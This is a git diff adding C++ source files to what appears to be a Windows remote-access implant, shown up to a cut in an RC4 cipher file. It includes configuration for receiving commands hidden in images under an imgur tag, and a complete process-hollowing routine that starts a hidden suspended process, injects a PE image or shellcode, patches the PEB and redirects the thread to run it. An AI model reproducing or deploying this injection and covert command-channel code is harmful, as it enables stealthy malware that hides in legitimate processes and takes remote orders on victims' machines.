long long int n) { return static_cast(n * 1000); } +inline unsigned operator "" _min(unsigned long long int n) { return static_cast(n * 60 * 1000); } +inline unsigned operator "" _hour(unsigned long long int n) { return static_cast(n * 60 * 60 * 1000); } + +// String. A key used for obfuscating various data. +#define vr_shared_key "something-random" + +// String. Client id to be used for scanning imgur. +#define vr_imgur_client_id "546c25a59c58ad7" + +// String. imgur.com tag in which http module will look for images with encoded commands +#define vr_imgur_tag "png" + +// Integer. Time between imgur tag queries +#define vr_imgur_tag_query_time 10_sec + +// Integer. Random time added to imgur tag query time +#define vr_imgur_tag_query_time_jitter 10_sec diff --git a/src/shared/CMakeLists.txt b/src/shared/CMakeLists.txt new file mode 100644 index 0000000..a8055ce --- /dev/null +++ b/src/shared/CMakeLists.txt @@ -0,0 +1,28 @@ +# +# MIT License +# +# Copyright (c) 2019 Rokas Kupstys +# +# Permission is hereby granted, free of charge, to any person obtaining a +# copy of this software and associated documentation files (the "Software"), +# to deal in the Software without restriction, including without limitation +# the rights to use, copy, modify, merge, publish, distribute, sublicense, +# and/or sell copies of the Software, and to permit persons to whom the +# Software is furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL +# THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER +# DEALINGS IN THE SOFTWARE. +# + +file(GLOB_RECURSE SOURCE_FILES *.c *.cpp *.h *.hpp) +add_library(shared STATIC ${SOURCE_FILES} math.cpp math.h) +target_compile_options(shared PRIVATE -Wno-multichar) +target_link_libraries(shared PUBLIC mini-gzip miniz ntdll picopng tinystl crypt32 winhttp ${CMAKE_BINARY_DIR}/libntdll.a) diff --git a/src/shared/coroutine.cpp b/src/shared/coroutine.cpp new file mode 100644 index 0000000..bf160d9 --- /dev/null +++ b/src/shared/coroutine.cpp @@ -0,0 +1,124 @@ +// +// MIT License +// +// Copyright (c) 2019 Rokas Kupstys +// +// Permission is hereby granted, free of charge, to any person obtaining a +// copy of this software and associated documentation files (the "Software"), +// to deal in the Software without restriction, including without limitation +// the rights to use, copy, modify, merge, publish, distribute, sublicense, +// and/or sell copies of the Software, and to permit persons to whom the +// Software is furnished to do so, subject to the following conditions: +// +// The above copyright notice and this permission notice shall be included in +// all copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL +// THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER +// DEALINGS IN THE SOFTWARE. +// +#include "coroutine.h" + +coroutine_loop* coroutine_loop::current_loop{}; + +unsigned coroutine_loop::_run_coro_func(void*) +{ + auto* loop = current_loop; + { + coro_ctx context{}; + context.this_fiber = GetCurrentFiber(); + loop->_starting.push_back(&context); + + if (loop->_current) + SwitchToFiber(loop->_current->this_fiber); + else + SwitchToFiber(loop->get_main_fiber()); + + loop->get_current_coro()->func(); + context.sleep = ~0U; // exit hint + } + SwitchToFiber(loop->get_main_fiber()); + return 0; +} + +coroutine_loop::coroutine_loop() +{ + _main_fiber = ConvertThreadToFiber(nullptr); + _sleep = 0; + _terminating = false; +} + +void coroutine_loop::activate(coroutine_loop& loop) +{ + current_loop = &loop; +} + +void* coroutine_loop::get_main_fiber(unsigned int ms) +{ + _sleep = ms; + return _main_fiber; +} + +void coroutine_loop::start(const coro_func& coro, unsigned stack_size) +{ + void* fiber = CreateFiber(stack_size, (LPFIBER_START_ROUTINE)&_run_coro_func, nullptr); + SwitchToFiber(fiber); + _starting.back()->func = coro; +} + +void coroutine_loop::run() +{ + while (!_runnables.empty() || !_starting.empty()) + { + _runnables.insert(_runnables.end(), _starting.begin(), _starting.end()); + _starting.clear(); + + // Sort runnables by next run time. Runners to front, sleepers to back. + std::sort(_runnables.begin(), _runnables.end(), [](coro_ctx* a, coro_ctx* b) { + unsigned a_slept = GetTickCount() - a->last_run; + unsigned b_slept = GetTickCount() - b->last_run; + return (a->sleep - a_slept) < (b->sleep - b_slept); + }); + + int sleep_time = INT_MAX; + for (auto it = _runnables.begin(); it != _runnables.end();) + { + auto& runnable = *it; + unsigned time_slept = GetTickCount() - runnable->last_run; + int time_left_to_sleep = runnable->sleep - time_slept; + if (!_terminating && time_left_to_sleep <= 0) + { + _current = runnable; + SwitchToFiber(runnable->this_fiber); + + if(_sleep == ~0U) + { + DeleteFiber(runnable->this_fiber); + it = _runnables.erase(it); + } + else + { + runnable->last_run = GetTickCount(); + runnable->sleep = _sleep; + + _current = nullptr; + _sleep = 0; + + sleep_time = std::min(sleep_time, (int) runnable->sleep); + + ++it; + } + } + else + { + sleep_time = std::min(sleep_time, time_left_to_sleep); + break; + } + } + Sleep((unsigned)sleep_time); + } +} diff --git a/src/shared/coroutine.h b/src/shared/coroutine.h new file mode 100644 index 0000000..560f8f6 --- /dev/null +++ b/src/shared/coroutine.h @@ -0,0 +1,69 @@ +// +// MIT License +// +// Copyright (c) 2019 Rokas Kupstys +// +// Permission is hereby granted, free of charge, to any person obtaining a +// copy of this software and associated documentation files (the "Software"), +// to deal in the Software without restriction, including without limitation +// the rights to use, copy, modify, merge, publish, distribute, sublicense, +// and/or sell copies of the Software, and to permit persons to whom the +// Software is furnished to do so, subject to the following conditions: +// +// The above copyright notice and this permission notice shall be included in +// all copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL +// THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER +// DEALINGS IN THE SOFTWARE. +// +#pragma once + +#include +#include +#include +#include + +typedef stl::function coro_func; + +class coroutine_loop +{ + void* _main_fiber; + unsigned int _sleep; + bool _terminating; + + static unsigned CALLBACK _run_coro_func(void*); + + struct coro_ctx + { + void* this_fiber = nullptr; + coro_func func{}; + unsigned sleep = 0; + unsigned last_run = GetTickCount(); + }; + +public: + coroutine_loop(); + static void activate(coroutine_loop& loop); + void* get_main_fiber(unsigned int ms = 0); + void start(const coro_func& coro, unsigned stack_size = 1024 * 32); + void stop_all() { _terminating = true; } + bool is_active() const { return !_terminating; } + coro_ctx* get_current_coro() { return _current; } + void run(); + + static coroutine_loop* current_loop; + +protected: + stl::vector _runnables; + stl::vector _starting; + coro_ctx* _current = nullptr; +}; + +inline bool yield(unsigned sleepMs = 0) { SwitchToFiber(coroutine_loop::current_loop->get_main_fiber(sleepMs)); return coroutine_loop::current_loop->is_active(); } +#define coro_start(proc) coroutine_loop::current_loop->start(proc) +#define coro_run() coroutine_loop::current_loop->run(); diff --git a/src/shared/crt.cpp b/src/shared/crt.cpp new file mode 100644 index 0000000..48815df --- /dev/null +++ b/src/shared/crt.cpp @@ -0,0 +1,58 @@ +// +// MIT License +// +// Copyright (c) 2019 Rokas Kupstys +// +// Permission is hereby granted, free of charge, to any person obtaining a +// copy of this software and associated documentation files (the "Software"), +// to deal in the Software without restriction, including without limitation +// the rights to use, copy, modify, merge, publish, distribute, sublicense, +// and/or sell copies of the Software, and to permit persons to whom the +// Software is furnished to do so, subject to the following conditions: +// +// The above copyright notice and this permission notice shall be included in +// all copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL +// THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER +// DEALINGS IN THE SOFTWARE. +// +#include +#include +#include +#include + + +void* pmalloc(std::size_t count) +{ + void* p = nullptr; + for (; p == nullptr; p = malloc(count)); + return p; +} + +void* operator new ( std::size_t count ) { return pmalloc(count); } +void* operator new[]( std::size_t count ) { return pmalloc(count); } +void* operator new ( std::size_t count, std::align_val_t al) { return pmalloc(count); } +void* operator new[]( std::size_t count, std::align_val_t al) { return pmalloc(count); } +void* operator new ( std::size_t count, const std::nothrow_t& tag) { return pmalloc(count); } +void* operator new[]( std::size_t count, const std::nothrow_t& tag) { return pmalloc(count); } +void* operator new ( std::size_t count, std::align_val_t al, const std::nothrow_t&) { return pmalloc(count); } +void* operator new[]( std::size_t count, std::align_val_t al, const std::nothrow_t&) { return pmalloc(count); } + +void operator delete ( void* ptr ) { free(ptr); } +void operator delete[]( void* ptr ) { free(ptr); } +void operator delete ( void* ptr, std::align_val_t al ) { free(ptr); } +void operator delete[]( void* ptr, std::align_val_t al ) { free(ptr); } +void operator delete ( void* ptr, std::size_t sz ) { free(ptr); } +void operator delete[]( void* ptr, std::size_t sz ) { free(ptr); } +void operator delete ( void* ptr, std::size_t sz, std::align_val_t al ) { free(ptr); } +void operator delete[]( void* ptr, std::size_t sz, std::align_val_t al ) { free(ptr); } + +extern "C" void __cxa_pure_virtual() +{ + assert(false); +} diff --git a/src/shared/debug.cpp b/src/shared/debug.cpp new file mode 100644 index 0000000..cc15c99 --- /dev/null +++ b/src/shared/debug.cpp @@ -0,0 +1,102 @@ +// +// MIT License +// +// Copyright (c) 2019 Rokas Kupstys +// +// Permission is hereby granted, free of charge, to any person obtaining a +// copy of this software and associated documentation files (the "Software"), +// to deal in the Software without restriction, including without limitation +// the rights to use, copy, modify, merge, publish, distribute, sublicense, +// and/or sell copies of the Software, and to permit persons to whom the +// Software is furnished to do so, subject to the following conditions: +// +// The above copyright notice and this permission notice shall be included in +// all copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL +// THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER +// DEALINGS IN THE SOFTWARE. +// +#include +#include +#include +#include +#include +#include "debug.h" + +void dbg_null_stub() { } + +void debug_log(const char* format, DebugLevel lvl, const char* file, unsigned line, ...) +{ + if (DEBUG_MIN_LOG_LEVEL > lvl) + return; + + va_list ap; + va_start(ap, line); + + time_t now = 0; + time(&now); + tm* ts = localtime(&now); + stl::vector timestamp(20); + auto need = static_cast(snprintf(timestamp.data(), timestamp.size(), "[%02d:%02d:%02d]", ts->tm_hour, ts->tm_min, ts->tm_sec)); + auto timestamp_len = strlen(timestamp.data()); + assert(need < timestamp.size()); + + stl::vector msg(timestamp.size() + strlen(format) * 2, 0); + + need = vsnprintf(msg.data(), msg.size(), format, ap) + timestamp_len + 1; + if (msg.size() <= need) + { + msg.resize(need + 1); + vsnprintf(msg.data(), msg.size(), format, ap); + } + + memmove(msg.data() + timestamp_len + 1, msg.data(), strlen(msg.data())); + memmove(msg.data(), timestamp.data(), timestamp_len); + msg.data()[timestamp_len] = ' '; + + OutputDebugStringA(msg.data()); + printf("%s\n", msg.data()); + + va_end(ap); +} + +void debug_log(const wchar_t* format, DebugLevel lvl, const char* file, unsigned line, ...) +{ + if (DEBUG_MIN_LOG_LEVEL > lvl) + return; + + va_list ap; + va_start(ap, line); + + time_t now = 0; + time(&now); + tm* ts = localtime(&now); + stl::vector timestamp(20); + auto need = static_cast(_snwprintf(timestamp.data(), timestamp.size(), L"[%02d:%02d:%02d]", ts->tm_hour, ts->tm_min, ts->tm_sec)); + auto timestamp_len = wcslen(timestamp.data()); + assert(need < timestamp.size()); + + stl::vector msg(timestamp.size() + wcslen(format) * 2, 0); + + need = _vsnwprintf(msg.data(), msg.size(), format, ap) + timestamp_len + 1; + if (msg.size() <= need) + { + msg.resize(need + 1); + _vsnwprintf(msg.data(), msg.size(), format, ap); + } + + memmove(msg.data() + timestamp_len + 1, msg.data(), wcslen(msg.data())); + memmove(msg.data(), timestamp.data(), timestamp_len); + msg.data()[timestamp_len] = ' '; + + OutputDebugStringW(msg.data()); + + wprintf(L"%s\n", msg.data()); + + va_end(ap); +} diff --git a/src/shared/debug.h b/src/shared/debug.h new file mode 100644 index 0000000..38b9007 --- /dev/null +++ b/src/shared/debug.h @@ -0,0 +1,49 @@ +// +// MIT License +// +// Copyright (c) 2019 Rokas Kupstys +// +// Permission is hereby granted, free of charge, to any person obtaining a +// copy of this software and associated documentation files (the "Software"), +// to deal in the Software without restriction, including without limitation +// the rights to use, copy, modify, merge, publish, distribute, sublicense, +// and/or sell copies of the Software, and to permit persons to whom the +// Software is furnished to do so, subject to the following conditions: +// +// The above copyright notice and this permission notice shall be included in +// all copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL +// THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER +// DEALINGS IN THE SOFTWARE. +// +#pragma once + +enum class DebugLevel +{ + Debug, + Warning, + Error, + Critical, +}; + +#define DEBUG_MIN_LOG_LEVEL DebugLevel::Debug + +void debug_log(const char* format, DebugLevel lvl, const char* file, unsigned line, ...); +void debug_log(const wchar_t* format, DebugLevel lvl, const char* file, unsigned line, ...); + +#if _DEBUG +# define LOG_CRITICAL(format, ...) debug_log(format, DebugLevel::Critical, __FILE__, __LINE__, ##__VA_ARGS__) +# define LOG_ERROR(format, ...) debug_log(format, DebugLevel::Error, __FILE__, __LINE__, ##__VA_ARGS__) +# define LOG_WARNING(format, ...) debug_log(format, DebugLevel::Warning, __FILE__, __LINE__, ##__VA_ARGS__) +# define LOG_DEBUG(format, ...) debug_log(format, DebugLevel::Debug, __FILE__, __LINE__, ##__VA_ARGS__) +#else +# define LOG_CRITICAL(...) (void)0 +# define LOG_ERROR(...) (void)0 +# define LOG_WARNING(...) (void)0 +# define LOG_DEBUG(...) (void)0 +#endif diff --git a/src/shared/math.cpp b/src/shared/math.cpp new file mode 100644 index 0000000..7231f3f --- /dev/null +++ b/src/shared/math.cpp @@ -0,0 +1,35 @@ +// +// MIT License +// +// Copyright (c) 2019 Rokas Kupstys +// +// Permission is hereby granted, free of charge, to any person obtaining a +// copy of this software and associated documentation files (the "Software"), +// to deal in the Software without restriction, including without limitation +// the rights to use, copy, modify, merge, publish, distribute, sublicense, +// and/or sell copies of the Software, and to permit persons to whom the +// Software is furnished to do so, subject to the following conditions: +// +// The above copyright notice and this permission notice shall be included in +// all copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL +// THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER +// DEALINGS IN THE SOFTWARE. +// +#include +#include +#include +#include "math.h" + +int Random(int min, int max) +{ + auto range = max - min; + assert(range > 0); + float random = ((float)(rand() + rand())) / (RAND_MAX + RAND_MAX); + return static_cast(random * range + min); +} diff --git a/src/shared/math.h b/src/shared/math.h new file mode 100644 index 0000000..93c947c --- /dev/null +++ b/src/shared/math.h @@ -0,0 +1,27 @@ +// +// MIT License +// +// Copyright (c) 2019 Rokas Kupstys +// +// Permission is hereby granted, free of charge, to any person obtaining a +// copy of this software and associated documentation files (the "Software"), +// to deal in the Software without restriction, including without limitation +// the rights to use, copy, modify, merge, publish, distribute, sublicense, +// and/or sell copies of the Software, and to permit persons to whom the +// Software is furnished to do so, subject to the following conditions: +// +// The above copyright notice and this permission notice shall be included in +// all copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL +// THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER +// DEALINGS IN THE SOFTWARE. +// +#pragma once + + +int Random(int min, int max); diff --git a/src/shared/process_hollowing.cpp b/src/shared/process_hollowing.cpp new file mode 100644 index 0000000..ddf55e3 --- /dev/null +++ b/src/shared/process_hollowing.cpp @@ -0,0 +1,239 @@ +// +// MIT License +// +// Copyright (c) 2019 Rokas Kupstys +// +// Permission is hereby granted, free of charge, to any person obtaining a +// copy of this software and associated documentation files (the "Software"), +// to deal in the Software without restriction, including without limitation +// the rights to use, copy, modify, merge, publish, distribute, sublicense, +// and/or sell copies of the Software, and to permit persons to whom the +// Software is furnished to do so, subject to the following conditions: +// +// The above copyright notice and this permission notice shall be included in +// all copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL +// THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER +// DEALINGS IN THE SOFTWARE. +// +#include +#include "process_hollowing.h" +#include "debug.h" + +#define GET_FIELD_SAFE(s, field, def) ((s) ? ((s)->field) : (def)) + +PROCESS_INFORMATION hollow_process(void* image, const char* host, hollow_process_startup_info* info) +{ + PROCESS_INFORMATION pi{}; + STARTUPINFOA si{}; + + char* process_params = nullptr; + si.cb = sizeof(STARTUPINFOA); + si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; + si.wShowWindow = SW_HIDE; + si.hStdInput = GetStdHandle(STD_INPUT_HANDLE); + si.hStdOutput = GetStdHandle(STD_OUTPUT_HANDLE); + si.hStdError = GetStdHandle(STD_ERROR_HANDLE); + + auto params_size = strlen(host) + 1 /* space between app and args */; + if (auto* args = GET_FIELD_SAFE(info, args, nullptr)) + params_size += strlen(args); + params_size += 1 /* terminating null */; + + process_params = new char[params_size]{}; + strcat(process_params, host); + + if (info && info->args) + { + strcat(process_params, " "); + strcat(process_params, info->args); + } + + BOOL process_created = FALSE; + if (HANDLE user_token = GET_FIELD_SAFE(info, user_token, 0)) + { + si.lpDesktop = const_cast("winsta0\\default"); + process_created = CreateProcessAsUser(user_token, nullptr, process_params, nullptr, nullptr, + GET_FIELD_SAFE(info, inherit_handles, false), CREATE_SUSPENDED | CREATE_NO_WINDOW, + (LPVOID) GET_FIELD_SAFE(info, env, 0), GET_FIELD_SAFE(info, dir, 0), &si, &pi); + } + else + { + process_created = CreateProcessA(nullptr, process_params, nullptr, nullptr, + GET_FIELD_SAFE(info, inherit_handles, false), CREATE_SUSPENDED | CREATE_NO_WINDOW, + (LPVOID) GET_FIELD_SAFE(info, env, 0), GET_FIELD_SAFE(info, dir, 0), &si, &pi); + } + delete[] process_params; + process_params = nullptr; + + auto failure = [&pi]() { + TerminateProcess(pi.hProcess, 0); + CloseHandle(pi.hProcess); + CloseHandle(pi.hThread); + return PROCESS_INFORMATION{}; + }; + + if (!process_created) + { + LOG_ERROR("Could not create fork process [%d]", NtLastError()); + return pi; + } + + HANDLE hProcess = pi.hProcess; + CONTEXT ctx = { 0 }; + ctx.ContextFlags = CONTEXT_FULL; + + if (FAILED(NtGetContextThread(pi.hThread, &ctx))) + { + LOG_ERROR("Could not get thread context"); + return failure(); + } +#ifdef _M_X64 + auto* peb = (PPEB)ctx.Rdx; +#else + auto* peb = (PPEB*)ctx.Ebx; +#endif + + PVOID pBase = nullptr; + if (FAILED(NtReadVirtualMemory(hProcess, &peb->ImageBaseAddress, &pBase, sizeof(SIZE_T), nullptr))) + { + LOG_ERROR("Could not read remote image base"); + return pi; + } + //ZwUnmapViewOfSection( hNewProc, pBase ); // with this some processes stop working + + PVOID base = nullptr; + SIZE_T entryPoint = 0; + if (unsigned shellcode_len = GET_FIELD_SAFE(info, shellcode_len, 0)) + { + // Inject shellcode + base = VirtualAllocEx(hProcess, nullptr, shellcode_len, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); + entryPoint = reinterpret_cast(base); + + if (!base) + { + LOG_ERROR("Could not allocate memory for shellcode [%d]", GetLastError()); + return failure(); + } + + if (FAILED(NtWriteVirtualMemory(hProcess, base, image, shellcode_len, nullptr))) + { + LOG_ERROR("Failed to write shellcode [%d]", GetLastError()); + return failure(); + } + } + else + { + // Inject a PE image + auto dh = reinterpret_cast(image); + auto nh = PIMAGE_NT_HEADERS(dh->e_lfanew + PBYTE(image)); + + if (dh->e_magic != IMAGE_DOS_SIGNATURE || nh->Signature != IMAGE_NT_SIGNATURE) + { + LOG_ERROR("Image is not a valid PE"); + return failure(); + } + + base = VirtualAllocEx(hProcess, nullptr, + nh->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); + entryPoint = SIZE_T(base) + nh->OptionalHeader.AddressOfEntryPoint; + + if (!base) + { + LOG_ERROR("Could not allocate memory for image"); + return failure(); + } + + // Copy header + if (FAILED(NtWriteVirtualMemory(hProcess, base, image, nh->OptionalHeader.SizeOfHeaders, nullptr))) + { + LOG_ERROR("Failed to write image"); + return failure(); + } + + // Protect header + if (FAILED(VirtualProtectEx(hProcess, base, nh->OptionalHeader.SizeOfHeaders, PAGE_READONLY, nullptr))) + { + LOG_ERROR("Failed to protect PE header %d", GetLastError()); + return failure(); + } + + // Copy sections + PIMAGE_SECTION_HEADER sect = IMAGE_FIRST_SECTION(nh); + for (unsigned long i = 0; i < nh->FileHeader.NumberOfSections; i++) + { + PCHAR section_address = PCHAR(base) + sect[i].VirtualAddress; + if (FAILED(NtWriteVirtualMemory(hProcess, section_address, + PCHAR(image) + sect[i].PointerToRawData, sect[i].SizeOfRawData, nullptr))) + { + LOG_ERROR("Failed to write section data"); + return failure(); + } + } + + // Protect sections + sect = IMAGE_FIRST_SECTION(nh); + for (unsigned long i = 0; i < nh->FileHeader.NumberOfSections; i++) + { + PCHAR section_address = PCHAR(base) + sect[i].VirtualAddress; + // e r w + DWORD scn_to_memprot_flags[2][2][2] = { + {{PAGE_NOACCESS, PAGE_WRITECOPY}, {PAGE_READONLY, PAGE_READWRITE}}, + {{PAGE_EXECUTE, PAGE_EXECUTE_WRITECOPY}, {PAGE_EXECUTE_READ, PAGE_EXECUTE_READWRITE}} + }; + DWORD section_flags = scn_to_memprot_flags + [(sect[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) ? 1 : 0] + [(sect[i].Characteristics & IMAGE_SCN_MEM_READ) ? 1 : 0] + [(sect[i].Characteristics & IMAGE_SCN_MEM_WRITE) ? 1 : 0]; + + if (sect[i].Characteristics & IMAGE_SCN_MEM_NOT_CACHED) + section_flags |= PAGE_NOCACHE; + + if (FAILED(VirtualProtectEx(hProcess, section_address, sect[i].SizeOfRawData, section_flags, nullptr))) + { + LOG_ERROR("Failed to change section memory protection [%d]", GetLastError()); + return failure(); + } + } + + // Update PEB with new image base + if (FAILED(NtWriteVirtualMemory(hProcess, &peb->ImageBaseAddress, &base, sizeof(SIZE_T), nullptr))) + { + LOG_ERROR("Failed to write new peb address"); + return failure(); + } + } + +#ifdef _M_X64 + ctx.Rcx = ctx.Rip = entryPoint; + ctx.SegGs = 0; + ctx.SegFs = 0x53; + ctx.SegEs = 0x2B; + ctx.SegDs = 0x2B; + ctx.SegSs = 0x2B; + ctx.SegCs = 0x33; + ctx.EFlags = 0x3000; +#else + ctx.Eax = ctx.Eip = entryPoint; + ctx.SegGs = 0; + ctx.SegFs = 0x38; + ctx.SegEs = 0x20; + ctx.SegDs = 0x20; + ctx.SegSs = 0x20; + ctx.SegCs = 0x18; + ctx.EFlags = 0x3000; +#endif + + if (FAILED(NtSetContextThread(pi.hThread, &ctx))) + { + LOG_ERROR("Could not set new thread context"); + return failure(); + } + + return pi; +} diff --git a/src/shared/process_hollowing.h b/src/shared/process_hollowing.h new file mode 100644 index 0000000..a198618 --- /dev/null +++ b/src/shared/process_hollowing.h @@ -0,0 +1,38 @@ +// +// MIT License +// +// Copyright (c) 2019 Rokas Kupstys +// +// Permission is hereby granted, free of charge, to any person obtaining a +// copy of this software and associated documentation files (the "Software"), +// to deal in the Software without restriction, including without limitation +// the rights to use, copy, modify, merge, publish, distribute, sublicense, +// and/or sell copies of the Software, and to permit persons to whom the +// Software is furnished to do so, subject to the following conditions: +// +// The above copyright notice and this permission notice shall be included in +// all copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL +// THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER +// DEALINGS IN THE SOFTWARE. +// +#pragma once + +#include + +struct hollow_process_startup_info +{ + const char* dir = nullptr; + const char* args = nullptr; + const char* env = nullptr; + HANDLE user_token = nullptr; + bool inherit_handles = false; + unsigned shellcode_len = 0; +}; + +PROCESS_INFORMATION hollow_process(void* image, const char* host, hollow_process_startup_info* info); diff --git a/src/shared/rc4.cpp b/src/shared/rc4.cpp new file mode 100644 index 0000000..cce2f25 --- /dev/null +++ b/src/shared/rc4.cpp @@ -0,0 +1,51 @@ +// +// MIT License +// +// Copyright (c) 2019 Rokas Kupstys +// +// Permission is hereby granted, free of charge, to any person obtaining a +// copy of this software and associated documentation files (the "Software"), +// to deal in the Software without restriction, including without limitation +// the rights to use, copy, modify, merge, publish, distribute, sublicense, +// and/or sell copies of the Software, and to permit persons to whom the +// Software is furnished to do so, subject to the following conditions: +// +// The above copyright notice and this permission notice shall be included in +// all copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL +// THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER +// DEALINGS IN THE SOFTWARE. +// +#include +#include "rc4.h" + + +void rc4_init(struct rc4_ctx* ctx, const unsigned char* key, int key_len) +{ + for (unsigned i = 0; i < 256; i++) + ctx->s[i] = (unsigned char) i; + + unsigned j = 0; + for (unsigned i = 0; i < 256; i++) + { + j = (j + ctx->s[i] + key[i % key_len]) % 256; + 